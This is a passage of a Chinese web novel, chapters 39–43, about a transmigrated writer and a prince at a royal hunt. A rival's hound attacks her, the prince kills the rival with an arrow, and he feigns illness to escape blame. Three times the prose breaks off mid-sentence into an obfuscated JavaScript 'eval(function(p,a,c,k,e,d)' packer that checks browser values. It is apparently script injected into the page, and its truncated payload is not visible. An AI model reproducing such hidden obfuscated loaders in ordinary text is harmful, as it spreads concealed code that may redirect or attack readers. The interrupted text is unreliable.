“殿下恕罪,我这弓弦太紧了,一不小心没拉住,惊扰了殿下实在抱歉。”李岱敷衍地拱手行了一礼。 真是装都懒得装,这人从头到脚就没有哪一处能表现出他有罪过之意。 穆衍看也不看他,一言不发微微俯首,修长的手指穿过如瀑青丝,将其中的断发悉数捋出,随意地扔在了地上。 垂落的碎发遮住了他的侧脸,江沁月看不清穆衍的神情,却能感受到一股阴郁的寒意。 他生气了。 39. 深林清溪暗流涌 其实很容易理解,古人都非常重视仪容仪表,李岱当众打落穆衍的发冠,真是下了他好大的脸面。 穆衍本身也是一个讲究人,李岱还削断了她的头发,断发可是一件相当失礼的事。 堂堂一个亲王,被他三番两次冒犯挑衅,换谁来都得大发雷霆。 江沁月担忧地看着穆衍,他虽暂未发作,却先跟自己的头发较上了劲。 他捋头发的力道越来越大,连带着有些完整的发丝也被硬生生地扯了下来。 老天爷,你在对你那乌黑亮丽到能直接去拍洗发水广告的秀发做什么? 江沁月无声呐喊。 有气直接撒啊!不要憋着,更不要拿头发出气啊! 她实在看不下去了,抓住穆衍的手腕道:“殿下,我帮你弄头发吧。” 穆衍听话地垂下了手,任她动作。 江沁月当然也没有梳子,只能用手指替他慢慢梳理,好在他的发质是真的好,很快就被理顺,像一匹墨黑的绸缎披在背后。 头发本身是没有知觉的,穆衍却感受着她小心翼翼的动作,渐渐被她的温柔抚平了戾气。 江沁月今日恰好扎了一条装饰用的丝带,她将它解下,又把穆衍的长发拢起,帮他绑了个高马尾。 有几缕碎发实在是被削得太短,她也无能为力,只能任由其垂在穆衍额前脸侧,看起来……更俏皮些? “好了!”江沁月拍拍穆衍的肩。 去吧!用你贵族阶级的特权狠狠压迫这个夕阳红家族的嚣张小子。 然而穆衍最后只是淡淡地瞥了李岱一眼,又对江沁月道:“走吧。” ??? “殿下!”江沁月不理解,语气中都带上了几分急切,“这你都不收拾他?” 他是想在众人面前立什么宽宏大度的贤王人设吗?那也没必要好脾气到这个地步吧? 江沁月音量不大,但李岱看见了她满腔愤懑的表情。 “江姑娘,这里应该没你说话的份。”李岱嘲讽道,“在下也是无心之失,殿下大人有大量,自然不会与我计较。” “够了,这件事到此为止。”穆衍寒声道,警告似地看向李岱,“李公子,既是无心之失,那你也适可而止。” 江沁月不情不愿地被穆衍推着上了马,和他并驾向内场而去。 “大哥、长姐,我想先进去。”李娴忽然开口道。 兄长的行为实在逾矩,她想……至少替他去郑重地道个歉。 李岱当然也猜到了她的心思,他面露不悦,正想教训一下这位多管闲事的好妹妹时,李妍却拉住了他的衣袖。 她抢先一步开口道:“二妹请自便,哥哥的弓弦还需要调整一下,就不拖着你一起在耗时间了。” 李娴愣了一下,似乎没想到她答应得这么爽快。 她跨上马,正要走时却又被叫住。 “二妹,你箭囊歪了。”李妍说着走上前来,帮她理了理腰间悬着的箭囊。 “好了,去吧。”她甚至露出一个虚情假意的和善笑容。 “……谢谢长姐。”李娴心下疑惑,不知李妍哪根筋搭错了,和她唱起了姐妹情深的戏码。 入场后她四下眺望了一下,看见江沁月与穆衍的身影已行出好远,便打马追了上去。 皇家猎场占地辽阔,外围是平坦开阔的草地,深处则是繁盛茂密的山林。 草地上只有些野兔、豚鼠之类的小动物,早就被前赴后继的马蹄声吓得躲回了洞里,真正的猎物自然都在山林中。 江沁月和穆衍骑马走得并不算快,倒是云霏和云霞对打猎颇有兴致,兄妹二人先往前面的林子里去了。 “殿下,你刚刚为何就那样放过李岱了?他这种人就是单纯欠收拾,这次不让他长记性,他下次还会变本加厉……”江沁月对此前的事耿耿于怀。 “他如此以下犯上,我回去便能参他父亲一本,参他教子无方以致大不敬之罪,”穆衍道,“今日陛下亲临,还是别把现场之事闹大为好。” “……” 听了他一本正经的解释,江沁月依旧十分不痛快。 “襄王殿下,沁月姐姐,请留步!”忽然听见身后有人呼喊,回头一看,原来是李娴追了上来。 “殿下,我大哥性情顽劣不堪,方才的言行实在多有冒犯,还险些伤及殿下性命……我看着亦是胆战心惊,他却毫无悔过之意,我作为他的妹妹于心难安,特来向殿下请罪。” 她一下马便跪地叩首,言辞恳切地说了好长一段话。 江沁月闻言叹息,李娴也真是不容易,兄姐在家里欺负她,生活如履薄冰;在外面也为非作歹,连带着她里外不是人。 “起来吧,你与他不是一类人,也不必替他道歉。”穆衍道。 李妍起身后也默默低着头,看起来有些不知所措。 “娴妹儿,要不你跟我们一起走吧?”江沁月连忙抛出橄榄枝,这不是二人上好的交流机会吗? 李娴看向了穆衍,见他面无表情但也没有拒绝,便答应了江沁月的邀约。 于是情况就变成了江沁月和李娴并驾齐驱,穆衍由着她们谈笑风生,跟在她一步之外的身后。 这样不行啊……江沁月又开始发愁。 早知道穿越后会有当红娘的需求,她就该去婚介所积累一些工作经验。 李娴忽然也不说话了,她看见了不远处的土洞里,钻出一只探头探脑的野兔。 她取下猎弓,正要抽一支箭出来,却后知后觉地发现,腰上的箭囊不翼而飞。 进场前李妍帮她调整了一下箭囊,她担心李妍做手脚,独自进场后也检查过,箭囊中的箭矢并无异样。 但现在整个箭囊都不见了。 大概是太急着赶路,不小心掉了没注意到吧。 侧后方猛然掠出一支强有力的箭矢,精准命中了那只野兔。 是穆衍,他出手迅速果决,在野兔躲回洞里前将其一击毙命。 “沁月姐姐,要不你们先走吧,我的箭囊大概掉在了来路上,我得回去找找。”李娴无奈地叹了口气。 难得遇到这种能创造机遇的好时候,江沁月不想这么早放她离开。 “何必那么麻烦?你直接用我的吧,反正我箭术不行,就是挂在身上装装样子。”她急中生智道。 江沁月也不给她拒绝的机会,三下五除二解下了箭囊塞进李娴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是雪狐皮做的箭囊,但成色不算太好,雪白中有一些黑色的杂毛,所以大哥很是嫌弃。” 李娴笑了笑:“不管是否找到,都先谢过殿下和沁月姐姐了,今日和二位同行,我亦十分有幸。” 说罢她微微行了一礼,便上马向更深处走去,寻着云霏和云霞的方向去了。 “看来襄王是一点也看不上二妹啊,迫不及待就找个由头把人赶走了。”李妍嗤笑道。 她和李岱比李娴晚些进场,本来没跟着她走,在林中追着野物来到此地,恰好远远看见了在溪边休憩的三人。 “哥哥,机会这不就来了吗?” 李妍从马背上取下一只箭囊,其通体雪白,只中间部分略有一些墨黑杂色。 她将箭囊扔在地上,又割开那只刚猎回来尚有余温的狐狸尸体的喉管。 温热的鲜血滴滴答答地落在雪白的兽皮上,洇染成朵朵鲜艳的红梅。 40. 血染惊山欲语休 看着李娴的身影消失后,江沁月和穆衍沿着来时的方向慢慢往回走。 “走吧阿妍,我们去守株待兔。”李岱道,“要想万无一失,自然得先去挑个好地方。” 见他们动身,李岱瞅准了方向,拉着李妍一起重新踏进密林深处,悄无声息地绕行赶去了江沁月与穆衍前方。 “沁月,今日为何一定要拉上李二小姐同行?”穆衍忽然问道。 “呃……主要是看着她怪心疼的,好不容易她兄姐放她一马,我们便带上她一起嘛。”江沁月借口道。 不知道穆衍是抵触李娴,还是抗拒这种先斩后奏的相亲行为。 江沁月自知理亏,毕竟上次赏春宴之后穆衍就与她起了争执,结果这厢她就又当上了红娘。 她也不想啊,但是为了回家,她必须这么做。 “强扭的瓜不甜,何必如此?”他果然看出来了,并且对此很不爽。 “……”江沁月无言以对。 林中寂静得连一丝风也没有,马蹄踏碎枝叶的声音清晰可闻。 山雨欲来风满楼,江沁月认命地低下了头,准备迎接穆衍的怒火。 穆衍见她不语,最后无奈地叹了口气:“罢了,你有你的主意,我也有我的坚持。你要拉她一起同行我无权阻止,以礼相待是我最后的让步。” “殿下,这婚事是陛下的意思,那多半也是八九不离十的事了。君命难违,不如你们试着互相了解一下……”见他没发火,江沁月小心翼翼地试探道。 穆衍微微蹙眉道:“沁月,你说实话,是不是淑瑶那边又带来了陛下的命令,为难你让你这么做的?” 他似乎说服了自己,认定了就是这个原因,不等她回答便接着道:“下次你直接告诉淑瑶,说我已经有心上人了就好。” ??? 你听听这像话吗? “真的假的啊殿下?这胡说八道也得有个限度,我要是把这话传上去,陛下不会治我个欺君之罪砍了我的头吧?” 江沁月完全不信穆衍的鬼话,自她来到这里之后,与穆衍四舍五入也算是朝夕相处了,他从哪能突然变出个心上人? “之后我会亲自向陛下说明。”穆衍偏开头不再看她。 倘若不是胡说八道呢? 或许……是真的有心上人呢? 江沁月当然不知道他心里的弯弯绕绕,提议道:“要不我来替殿下编一个心上人的人设?论起编故事,我可是专业的。” “不必。” “那殿下能不能跟我说说,她是个什么样的人?”江沁月来了兴趣,难不成还真有这么个人? “是救我危难,予我新生之人。” 分量这么重?江沁月脑海中浮现出了某种常见的小说桥段。 她猜道:“殿下的心上人远在千里之外?是在外征战时遇到的姑娘吗?” “……不是。” “那是谁啊?”江沁月更好奇了。 “我编的,没有这个人,”他笑了笑,“话本小说里不都这么写的吗?救命之恩无以为报,只能以身相许。” “哦,”江沁月看起来有些失望,“那殿下还得编得再仔细些,不然多问两句就露馅了。” “沁月,我……” 穆衍思忖良久,终于犹疑着开口,结果半句话也没说完便被江沁月打断了。 “殿下殿下!你看那里,那个是不是有点像李娴的箭囊?” 顺着她手指的方向看去,前面一处低矮的树枝上似乎确实挂着一只类似箭囊的物什,雪白的颜色在林中十分打眼。 江沁月欲打马上前看个究竟,然而此处林木过于繁茂,以至于马儿极难通过,半高的灌木也让它根本无法迈开脚步。 “殿下等等,我过去看看。” 她毫不犹豫地跳下马,用手拨开树丛,深一脚浅一脚地向深处走去。 终于走到了那东西旁边,江沁月定睛一看,这确实是箭囊无疑,雪白的皮毛上夹杂着几处杂黑,与李娴的描述一模一样,极有可能就是她弄丢的那只。 仔细一瞧,箭囊里的箭矢已经不知所踪,而革带的断口明显是被利器划开所致,江沁月见状更能确定这就是李娴的东西了。 多半就是李岱或者李妍做了手脚故意让她弄丢,这样回去后又能借此由头想办法折磨她。 这虽不是李娴的心爱之物,但失而复得至少也能让她免于一顿冷嘲热讽。 江沁月伸手去够那只箭囊,却摸到一手粘腻,她将箭囊翻面一看,只见其背面雪白的皮毛已被腥红的鲜血浸透,湿乎乎黏答答,散发着令人不悦的腥臭气息。 她嫌弃地皱了皱眉,想赶紧将箭囊取下拎走,却发现箭囊被缠绕的树枝勾住,硬拽自然是行不通的,于是只得耐着性子去解。 “是时候了。” 看着她浑然不觉,一心一意要拿那个破玩意,李岱松开了手中的铁链,和李妍一起躲在一棵粗壮的古树后面,静静地远观接下来的好戏。 他打了个呼哨,勇猛的獒犬得令飞一般地窜了出去,快速接近猎物血腥味传来的方向。 江沁月听到树丛里传来悉悉索索的树枝断裂声,刚回过头便猝不及防被一股巨大的力道扑倒在地。 “啊!!!” 眼前是一头黑棕色的庞然巨兽,似狼似熊,站起来几乎与她等高,粗壮的前爪摁在她的肩膀上,压制得她无法起身。 这……好像是李岱带来的那两条猎犬之一? 江沁月无暇细想,她反应极快地用双手死死卡住了恶犬的脖子,虽没被咬伤,但没被衣服覆盖的皮肤还是被杂乱丛生的枝杈划出了道道血痕。 獒犬被新鲜混杂的血腥味刺激得更加兴奋,江沁月渐渐抵不过它的力道,眼睁睁看着獠牙利齿离自己的脸越来越近。 “沁月!” 穆衍大惊,他隔着一段距离,一时不好过去,当机立断开弓瞄准了那头凶兽,却迟迟不敢放箭。 他有把握能一击命中,却无法保证不会误伤江沁月。 这距离对于射箭而言,又实在是太近,箭矢射出的力道足以把凶兽与江沁月一起贯穿。 穆衍的手甚至开始微微颤抖,这一箭射与不射,全在他一念之间。 他箭术很好,可是这一箭关乎她的性命。 他不敢赌。 另一边,李妍心满意足地看着这一切,露出一个得逞的笑容。 她的计划果然完美无缺。 她知道穆衍多半走到哪都会带上江沁月一起,要想下杀手也很难做到。 但那女人死不死不重要,只要咬烂她的脸,让她破相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿下,我没事了。” 穆衍见她确实无甚大碍,似乎松了一口气,但他并没有放下弓箭,而是调转方向瞄准了林中另一处地方。 他耳力目力皆是极佳,自然听见了那一声呼哨,也看见了那棵树后一晃而过的身影。 江沁月之前问他,为何就那样放过了李岱? 是啊,他一而再再而三地,就那样云淡风轻地放过了他。 而李岱非但不知收敛,反而得寸进尺,甚至把主意打到了江沁月头上。 他怎么能?他怎么敢?! 穆衍一阵后怕,她好不容易保住一条命,却还要遭受毒痛的煎熬,而他的温和纵容差点又一次害了她。 他再也不能让这样的事情发生。 他不能再失去她。 穆衍眼中闪过一丝狠戾,他松开弓弦,离弦之箭直取李岱咽喉。 李岱见自己的獒犬莫名其妙被放倒,正低声咒骂着它。 “没用的畜生!老子好吃好喝养着你,连个女人都咬不到,老子……” “呃!!!” 利箭贯穿了他的咽喉,他再也说不出话了。 41. 各执一词弄是非 “哥哥!!!” 李妍失声尖叫,哀嚎声响彻林间,惊走了群群飞鸟。 她跪在李岱的尸体旁边,惊恐又无措,一遍遍地喊着哥哥,好像这样他就能醒过来。 可是哥哥不会再答应她了。 兄长顷刻间毙命,死不瞑目,李妍抬头看向来箭方向,却见杀人凶手收起弓,再不看这边一眼,仿佛碾死了一只蝼蚁。 “沁月?你还好吗?”穆衍看江沁月呆愣在原地一动不动,便下了马作势要去到她那边。 “我没事!这就过来!”江沁月回过神,抓起那只箭囊,又深一脚浅一脚地走了回去。 她看清了穆衍放箭前那一闪而过的狠戾,只那一眼,之前的温和包容便荡然无存。 是李岱先起了歹心,而她早些时候也问过穆衍,为什么不收拾李岱? 可她没想到穆衍就这么干脆直接地杀了他。 江沁月知道穆衍手上当然不可能没沾过人命,但这是她第一次亲眼看到杀人,第一次认识到了什么叫命如草芥。 恶有恶报,在感到快意的同时,她也陷入莫名的惶恐。 在这里,生与死,不过位高权重者一念之间而已。 江沁月心绪不宁,走着走着还险些崴了脚。 “别着急,慢点走,仔细看路。”穆衍温声道,仿佛什么都没有发生过。 待她走到自己身边,穆衍仔细查看了她的情况,见她确实只受了一些轻微的皮外伤后,总算是彻底放下心来。 他仔细地帮她摘掉头发上沾染的枯叶,又蹲下身替她拍干净衣服上的尘土,动作温柔而细致。 江沁月不动也不说话,像个提线木偶似的任他摆弄。 期间李妍凄厉的哭喊声一直没停过,刺得人耳膜生疼,穆衍终于分了一眼看她,江沁月也一同望向那边。 李妍的眼中满是恨意,怨毒地瞪着他们。 哥哥尸骨未寒,这对狗男女就这般若无其事地互相调情,旁若无人地演什么一往情深? 有马蹄声由远及近响起,听起来不止从一个方向来,看来是他们这边闹出的动静太大,引来了不少人马。 李妍听见有人向这边来,突然大喊大叫起来。 “杀人偿命!天经地义!襄王殿下你不得好死!” “杀人偿命!天经地义!襄王殿下你不得好死!” 她一遍遍喊得声嘶力竭,她要让来人都听见,她要为兄长报仇。 然而当她看清来人,她一下子又噤了声——是穆衍的那两个亲卫和李娴。 “殿下!”云霏和云霞立刻下马去到了穆衍那边,。 而李娴还静静地坐在马上,无动于衷地看向她。 “李娴!襄王他杀了哥哥,你还站在那边干嘛?哥哥可是你的兄长,你的骨肉血亲!”李妍怒喝道。 李娴看见李岱的尸体时,其实没什么想法。 但是“骨肉血亲”一词从李妍口中说出,未免太过讽刺。 他们有把她当血亲吗?她不是他们的妹妹,更像是他们的奴婢。 “娴妹儿!你的箭囊我找到了!”江沁月看见李娴,举起手中的箭囊晃了晃。 “多谢沁月姐姐,不过……我想我应该不需要了。”李娴浅浅地笑了笑。 “出什么事了?在林子里听到好大的动静。”又一道声音响起,穆灼和颜桃带着一队侍卫从林间走出。 “太子殿下!请为臣女和哥哥做主!” 李妍看见穆灼,仿佛看到救星一般,她踉跄奔来,跪倒在穆灼马前,惊得马匹倒退几步。 穆灼眉头紧蹙:“到底怎么回事?” 李妍哭诉道:“太子殿下,襄王对我兄长怀恨在心,趁此处树木丛生,四下无人,便一箭杀了他!” 掐头去尾,颠倒黑白,江沁月听了她的话火冒三丈。 “放屁!明明是……” 她正要解释,却被穆衍打断: “太子殿下,我与沁月行至此处,在前方树丛中看见了疑似李二小姐遗失的箭囊,沁月过去拾取时,林中忽然扑出一头猛兽。” “我看不清具体什么情况,只看见沁月好像制服了它,而林中又有动静传来,我以为是野兽的同伙,怕再遭不测便朝那个方向放了一箭,谁知竟然是……” 说到这,穆衍的脸色白了一白,脚步也有些虚浮不稳,像是因错杀了人而惶恐不安。 江沁月一看就知道他在演,但很快也反应了过来。 何必如实讲述呢? 通过适当的美化将自己完全摘出去,让事情朝最有利于自己的方向发展,这样岂不是更好? “江姑娘,本宫有些好奇,你是怎么制服野兽的?”颜桃忽然问道。 “请太子与太子妃明鉴,幸有朋友曾赠我暗器防身,我才得以保全性命。” 江沁月说着指向跪在地上的李妍:“那也并非什么野兽,而是他们兄妹二人带来的猎犬!” 她又将青玉方给她的小圆筒呈给颜桃:“此物不会伤及性命,只是让人暂时失去行动能力,太子妃可请人来验过。” 要是此刻不说明白,江沁月怕李妍会胡搅蛮缠,说她携带暗器意欲行刺。 穆衍的说辞条理清晰,将来龙去脉讲了个明白,江沁月又言辞恳切,手上的伤痕似乎也无声印证着她所言非虚。 穆灼没有妄断孰是孰非,先让人把李岱的尸体和昏死的獒犬抬了过来。 李妍又开始哭了起来。 江沁月道:“太子殿下请看,这可不是寻常的猎犬,而是凶悍无比的獒犬,勇猛似狼壮硕如熊,我一时都没看清是个什么玩意,殿下隔着一段距离自然更是看不清。” 趁李妍抽抽噎噎没工夫说话,她得火力全开替穆衍争辩,最好将他彻底洗白,把自己也塑造成无辜的受害者。 “况且既然带了这种猛犬,主人就更该严加看管,怎能随意纵犬伤人?” 这话更是将罪责推向了李岱兄妹二人,控诉他们有错在先。 李妍闻言立马不哭了,反驳道:“那肯定是因为它闻到了血腥味!我和哥哥只是一时没拉住它,何来纵犬伤人之说?” “我们的猎物都在殿下那边,我碰都没碰过一下,不知这血腥味从何而来?” 李妍脱口而出:“自然是你那只箭囊上啊……” 她闭了嘴暗道不好,这女的是在套她话呢。 果然又听江沁月问道:“你隔着那么远,如何看得清箭囊上有血?” “我……我看不看得清又如何?猎犬都是受过训练的,当然是被血味吸引才会……” 李妍慌了神,说起话来磕磕绊绊,她转念一想,决定将这祸水东引。 她盯着那只箭囊,做出一副恍然大悟的样子: “这只箭囊……似乎是哥哥送给二妹的。太子殿下!一定是二妹做了什么手脚!” “绝对不可能!太子殿下,这箭囊的革带明显就是被人用力割断,看这断口的方向,也不可能是李二小姐自己割的。” 江沁月直接把箭囊交到穆灼手上,其他的她也不必再多说。 穆灼又不是傻子,这一番理论下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是。”穆衍毕恭毕敬行了一礼,把刚才那番说辞原封不动又讲了一遍。 只是说到最后,他的语速越来越慢,声音也越来越虚,神情像是在极力忍耐着什么。 “……事情就是这样,臣所言……绝无……绝无半句虚……” 话没说完,穆衍便再也支持不住一般,捂着胸口跪倒在地,看上去十分痛苦。 “衍儿!”皇帝“唰”地站起身,担忧地看着这边。 “殿下!你怎么了?!”江沁月就站在穆衍旁边,连忙蹲下身扶住他,在他身上摸索太医为他开的救急的药丸。 看他这样子应该是发病了,可是…… 江沁月心下疑惑,她翻出了穆衍随身携带的小药瓶,倒出一粒药丸喂他服下。 按理说这药应该起效很快,但穆衍的情况看起来一点都没有好转。 江沁月心中疑虑更重,而穆衍此刻已经彻底昏了过去,全身的重量都陡然压在了她身上。 云霞和云霏连忙七手八脚地架起穆衍,江沁月也赶紧道: “陛下,襄王殿下应当是受了惊吓导致心疾发作,方才在猎场里他的情况就不太好……这救急的药丸也无效,不知张院判此次游猎是否随行?” “快着人去请张院判来!要快!”皇帝下令道。 穆灼道:“父皇,太医院与此地相距甚远,儿臣认为,由他们护送堂兄回府,直接把张院判请到王府去,或许能更快些。” 皇帝点点头:“好……好,你们速速带衍儿回去,务必保证他平安无虞!” 江沁月与云霏云霞兄妹二人得令,带着穆衍向外走去。 “陛下!不能这样放过他!” 李妍见他们要走,甚至直接要伸手截人,被云霞一把格开:“放肆!” 几人风风火火走出营帐上了马车,再也不管背后闹得天翻地覆的血雨腥风。 42. 杀心不假恐生厌 马车里的空间算不上太宽敞,云霏和云霞便一起坐在外面驾车,快马加鞭往回赶。 “殿下?殿下?”江沁月低声唤他,还轻轻地拍了拍他。 依旧毫无反应。 江沁月不免有些担忧起来。 她本来以为穆衍是在演戏,装病发从而脱身离开,毕竟他最近都在好好吃药,按理来说不会有什么事。 而且吃了救急的药丸也毫无反应……若不是装的,难道他的病真的严重到了如此地步吗? 狭小的空间里没法将穆衍摆成舒适的平躺姿势,只能让他斜靠在车壁上。 然而马车速度一快便更加颠簸,失去意识的穆衍无力支撑,身体控制不住地向下滑去,脑袋还时不时地磕在车壁上,撞得“哐哐”响。 这哪怕是铁头也得受不了,为了不给穆衍的病情雪上加霜,江沁月一把揽过他,让他的头靠在了自己的肩膀上。 但她发现这样好像也不太行,因为穆衍的脑袋依旧随着马车的颠簸上上下下,她肩膀头子上没二两肉,被他硌得生疼。 江沁月无奈地叹了口气,悄悄道了声得罪,让穆衍的头枕在了自己腿上。 虽然有些别扭,但也只能将就一下了。 穆衍的发丝散落在她膝头,脸颊上还有刚刚在她肩膀上印出的红痕,江沁月戳了戳他的脸,虽然昏迷不醒,但他的面色看上去也未显病态,就像只是睡着了一样。 “你可千万不能有事啊,不然我……” 不然我还怎么回家? 她还是把后半句话咽了回去。 终于到了王府,几人前脚将穆衍安置回了梧桐苑,张院判后脚也跟着来了。 张院判搭了许久的脉,神色凝重沉默不语。 “张院判,殿下的病一直都是您在瞧,他这究竟是怎么了?”江沁月问道。 “这……从脉象来看,殿下应该并无大碍……”张院判头上都冒出了冷汗,不禁开始怀疑自己的诊断水平。 云霞蹙眉道:“并无大碍?那殿下为何会昏迷不醒?张院判要不再仔细看看。” 这话是逼着他非得说出个所以然来不可。 张院判看向说话的少女,她抱臂立于一侧,脸上没有丝毫笑意,语气还隐隐带有警告之味。 “许是老夫医术不精……老夫这便再看看……”张院判擦了擦汗,又重新搭起了脉。 他边把脉边问道:“殿下发病时是什么样的情况?” 这自然是江沁月最有发言权,她直接挑了重点讲: “我们在林中突遭意外,殿下应该是受了惊吓,当时脸色就不大好了,后面在营帐里说着话便突然晕了过去。” 张院判小心翼翼地试探道:“如此说来,殿下应当是……受惊过度诱发了心疾,却一直隐忍不发,也没顾得上在第一时间服药,贻误了良机才导致如今昏迷不醒……” 他言语中透着迟疑,一直观察着房中其余几位的神情。 云霞闻言点点头,循循善诱道:“那依张院判之见,我家殿下这病,可如何是好?” “老夫会另开一副药性更猛的药方,殿下需好好静养,万不能再劳心伤神,偶感不适也要及时服药,发病之损伤不可逆啊……”张院判苦口婆心道。 “我等明白,只是若陛下问起我家殿下病情,还请张院判一定要如实禀告。”云霞将最后“如实禀告”几个字咬得很重。 “这是自然。”张院判心领神会。 听着他们这番对话,江沁月忧心未消,疑心又起——她有预感,她可能马上就要见证医学奇迹了。 云霏和云霞去送张院判出府,房间里只剩下江沁月和穆衍。 果不其然,睡美人就在此刻“悠悠转醒”,半阖的双眼中却是一片清明。 “……殿下,你就是装的病发吧?害得我好生担心。”江沁月幽幽道。 穆衍笑了笑,算是默认了他的话。 江沁月不忍回想,那刚才在马车上她的一举一动,他岂不是一清二楚? 她绝望地仰天长叹,用双手捂住了脸。 “怎么了?”穆衍见她这副模样,十分不解。 “我在车上喊殿下,殿下也不理理我,”江沁月的声音闷闷的,“车上都是自己人了,就没必要接着演戏了吧?” “没回到王府前,都指不定哪处就有人在暗中窥伺,万一露了馅,可就要大祸临头,”穆衍道,“装病离场,这可是欺君之罪。” 那你很大胆哦。 江沁月在心中冷哼。 “……殿下,那个,我在马车上不是故意冒犯你的,是我看你昏迷不醒,脑袋一直在磕磕碰碰,就……” 她纠结再三,还是决定解释一下马车上的逾矩行为,却紧张得有些语无伦次。 穆衍闻言哭笑不得:“原来是在担心这个,我又不是什么不识好歹的人,这点小事自然无妨,别再想了。” “但是殿下,连我都在猜你是装的,那陛下就不会对你起疑心了吗?李妍更是会咬着你不放吧?真的都能给你说成装的。”江沁月觉得自己好像有着操不完的心。 “陛下信不信不重要,重要的是能不能让陛下相信其他人会信,”穆衍笑道,“李妍越是咬着我不放,陛下就越不会把我怎么样。” 江沁月一下子便想通了其中要害:“李妍家族是累世功勋不假,殿下的父亲可是陛下的亲弟弟,你们父子二人屡立战功,陛下再怎么说,也不愿意落下一个苛待贤侄的不义之名吧?” 穆衍赞许道:“陛下与太子都对李家不满已久,李家虽谈不上树倒猢狲散,但早已大不如前。由着他们闹去吧,翻不起什么波澜。” 他半支起身子,倦懒地倚在床头:“我们只需要,继续把这出戏唱完就好。” 江沁月点点头,最后还是鼓起勇气问出了那个最想问的问题:“所以殿下为何如此干脆地杀了李岱?” “杀了便杀了,他该死,我杀他,不需要什么别的理由。” 既是亲眼所见,穆衍便没有打算找些什么别的理由搪塞她,坦然承认他就是故意杀了李岱。 “我不是这个意思……我知道李岱死有余辜,只是我没想到殿下会如此冲动,直接当场杀了他……”江沁月的声音越来越低。 “沁月,你在害怕我?”穆衍终于意识到了什么,“你怕我,因为我杀了他?” 江沁月想否认,却又不知道该怎 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世事不过人云亦云,好人做了一件错事,就会被指责自甘堕落,留下千古骂名;坏人做了一件好事,便能被称赞改邪归正,成为后世美谈。 但穆衍是她笔下的角色,她比任何人都清楚,他到底是什么样的人。 以一事妄断是非,未免太过有失偏颇。 …… 此事自然是闹出了不小的风波,李家控诉叫苦的折子雪花片似地涌进了皇宫,惹得皇帝烦不胜烦。 他下令让太子穆灼带着大理寺的人一起查办,务必要叫真相水落石出。 话虽如此,最后“调查”出的结果自然是和穆衍的说辞八九不离十。 皇帝下令,让襄王穆衍近三个月就留在王府中安心静养,虽未明说,但这话的意思就是禁了穆衍的足。 这也算是堵上了李家的嘴,不然他们非得闹翻天不可。 不过幸好,这禁足令是针对穆衍一个人的,没把整个王府的人都关起来。 江沁月大部分时间又耗在了书坊,继续《四时杂谈》的夏至篇。 出了这样的事,李娴自然是不能继续来书坊帮忙了,她与穆衍的婚事也只能就此作罢。 然而出乎意料的是,又过了几天后,李娴的身影重新出现在了书坊里。 “好妹妹,你家里人知道你是往王府这边来的吗?他们不会说你吗?”江沁月对她的到来十分惊讶。 李娴笑了笑:“他们是不让我来,我说我只是做些自己喜欢的事情,不想呆在家里,若是这也不行的话,就把我从家族中除名好了。” 江沁月更惊讶了,她没想到李娴居然如此硬气。 “沁月姐姐不必惊讶,你若是知道我从小到大过的什么日子,定然也不会对这样的家有半分眷恋。” 她接着道:“在书坊干活有工钱,再不济也总有挣钱活命的法子,只要能挣到钱,何愁活不下去呢?” 这点江沁月倒是深以为然:“此话在理,经济自由就能实现真正的自由!” 43. 闭目塞听满城知 这日一进书坊,李娴便给江沁月递来了一个信封。 “沁月姐姐,今儿个早些时候,有人来书坊托我将这封信转交给你。” 江沁月疑惑地接过,淡粉色的信封很薄,做工倒是精致,上面有洒金花纹装饰,正面工工整整写着“江沁月亲启”几个大字。 这充满少女心的风格,她都怀疑里面装的是情书了。 拆开信封展开信纸一看,熟悉的潇洒字迹映入眼帘,江沁月一下便已了然。 凌觉故作神秘地送信,信中也只有寥寥几句话,其实就是让她有空去趟邀月轩,他有事要一起商量。 这语焉不详故弄玄虚的样子,江沁月也不知道他在搞什么幺蛾子,不过正好今日下午有空,便去上一趟吧。 她踩着午饭时间到了邀月轩,还顺便蹭了赵昭兰一顿饭。 酒足饭饱之后,几人围坐一桌说起了正事。 “沁月,我们之间就别见外了,我问你的问题,你要如实回答。”凌觉道。 江沁月白他一眼:“放。” 凌觉道:“你跟襄王殿下,到底是怎么回事?” “什么怎么回事?”江沁月一头雾水,“你说猎场的事吗?太子殿下不是已经查明了吗?” “不只是猎场的事。”凌觉伸出一根手指摇了摇。 “你还不知道吗?坊间现在传得有鼻子有眼的,说你与殿下两情相悦、情深意重,是为人称道的一对佳偶呢。” “哈???”江沁月的震惊无以言表。 这是怎么传出来的?别太离谱好吧? 凌觉道:“你不信就去街上走一圈,各家茶楼酒楼津津乐道,我都听到好几个不同的版本了。” “……不信谣不传谣。”江沁月汗颜道,“所以把我叫这儿来,就是为了给我讲我的八卦吗?” “那倒也不是,但与此有关。” 看着凌觉笑眯眯的狐狸眼,江沁月顿感不妙。 “沁月,咱们邀月轩是不是也得紧随其后把这个故事搬上台?故事女主角亲自操刀撰写,有这个噱头在,我们肯定可以碾压其他家。” 江沁月:“……” 她无奈道:“不要盲目跟风好吧?” “沁月,不瞒你说,最近咱们的客人都被抢走了不少,有新鲜热乎的八卦乐子听,谁还想听这些虚无缥缈的故事?” 凌觉接着道:“毕竟你是当事人,我便想着这事还得问问你的意思,我又不太想去王府找你,才留信给你。” “我谢谢你啊。”江沁月白了他一眼。 “你要有为事业勇于献身的精神嘛,沁月,”凌觉一本正经道,“不信你待会儿看看,咱们邀月轩有多么门可罗雀,别家是多么门庭若市。” “许是天气渐热了,大家不愿意出门罢了。”江沁月道。 